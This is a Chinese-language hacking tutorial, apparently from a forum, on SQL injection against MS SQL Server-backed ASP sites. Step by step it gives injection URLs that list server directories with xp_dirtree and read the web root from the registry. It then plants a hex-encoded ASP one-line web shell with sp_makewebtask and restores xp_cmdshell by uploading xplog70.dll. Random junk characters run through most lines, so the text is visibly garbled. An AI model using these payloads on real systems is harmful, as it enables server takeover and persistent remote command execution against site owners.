好,我们exec master..xp_dirtree'd:/test'. x5 F$ F6 j" y3 R9 i* i i( `
假设我们在test里有两个文件夹test1和test2在test1里又有test3# F o$ O9 W' k [: y7 I
结果显示
! U3 {1 Y+ w0 Q* o6 C' H: K% p, K' W: P3 p8 J* O
subdirectory depth
& F% R, S* }7 J- c, Itest1 17 C) {8 M; U+ H; p! u9 I/ P X: e4 Q
test3 2
$ b: M* a2 D( n" G r- W3 Ktest2 16 Q" A C v3 a; F- |
- t) N. p8 c0 r: [( k- h. ]7 `5 R
哈哈发现没有那个depth就是目录的级数
2 H% @# r+ r4 [' k7 a' u* p$ Ook了,知道怎么办了吧
* N, L: y; n! X6 G) Q4 a5 e" }5 p' h
) P; ^8 `1 L1 o' Shttp://www.xxxxx.com/down/list.asp?id=1;create table dirs(paths varchar(1000),id int)--
5 l4 K. G& M4 w% ?http://www.xxxxx.com/down/list.asp?id=1;insert dirs exec master.dbo.xp_dirtree 'd:\' -- ! B+ j( k! b; a
http://www.xxxxx.com/down/list.asp?id=1 and 0<>(select top 1 paths from dirs where id=1)-
) H: T( A# g: s
* N | k! Q) {" N7 {6 D3 g" B4 G' J" f只要加上id=1,就是第一级目录 。
1 C5 s, J7 c1 F% I4 u; U: h0 e8 H. P l+ H) B6 m
+ X+ F& |" z% ^6 x* q
通过注册表读网站路径:
8 e. n; q/ p% m- N2 ~4 Y& ]8 C& P9 ]2 ^' @& }" P
1.;create table [dbo].[cyfd] ([gyfd][char](255));
' t3 E! J V/ j9 \, P+ y; f5 d; }) X& R2 Z& |( u
2.DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE', 'SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into 临时表 (临时字段名) values(@result);--( }, A9 s [7 h* y
id=2;DECLARE @result varchar(255) EXEC master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots', '/', @result output insert into cyfd (gyfd) values(@result);--3 p1 P, f3 i+ x4 R
0 K/ H- ]% ?" [2 _5 b
3.and 1=(select count(*) from 临时表 where 临时字段名>1)
$ E- U% Z+ k4 R V$ Y" Q# b; rand 1=(select count(*) from cyfd where gyfd > 1)
8 d& M9 v1 M& X4 `2 {7 K/ a6 d1 t这样IE报错,就把刚才插进去的Web路径的值报出来了
3 |1 q% c0 x! m- n+ z
* _- E+ {9 A( `% h# [0 K8 e4.drop table cyfd;-- 删除临时表
- b, ~+ B& e4 h* G6 {" v) y; A H( N
, x- q. j, @+ V2 `1 V1 q获得webshell方法:
, A w7 K% m+ v8 k" e. f) H1.create table cmd (a image)-- \**cmd是创建的临时表. W t0 n1 a+ A
. d- K' d+ E6 r* o# |
2.insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)-- 往cmd表里插入一句话
' `) s8 t, e# m' Z9 {: G; r
7 Y$ {2 B9 i8 \ Z' A. C! u& [
& D2 B0 N8 {6 S( v; b" o* m3.EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT image FROM cmd'. u! \8 v% H S3 a* ]
EXECUTE sp_makewebtask @outputfile = 'WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
" H9 x* E& l R4 {9 Z# A8 I- d8 {, a S- l' g
4.drop table cmd;-- 删除cmd临时表; x& p+ j. B) G& n; B3 Q/ z# ^
" T3 X# Z( \) O) J/ p恢复xp_cmdshell方法之一:- a' P0 Y7 x! s/ e7 H" |4 A
我很快就把xplog70.dll文件给他上传到e:\inetpub\wwwroot目录下了,来吧,我们来给他恢复,提交:" u, Z4 {2 @" a( c# p) M
http://www.something.com/script.asp?id=2;EXEC master.dbo.sp_addextendedproc 'xp_cmdshell','e:\inetpub\wwwroot\xplog70.dll'& X3 c( ?$ h/ V" e) T
恢复,支持绝对路径的恢复哦。:)
) i, A% b7 [' j! L ~7 A1 i |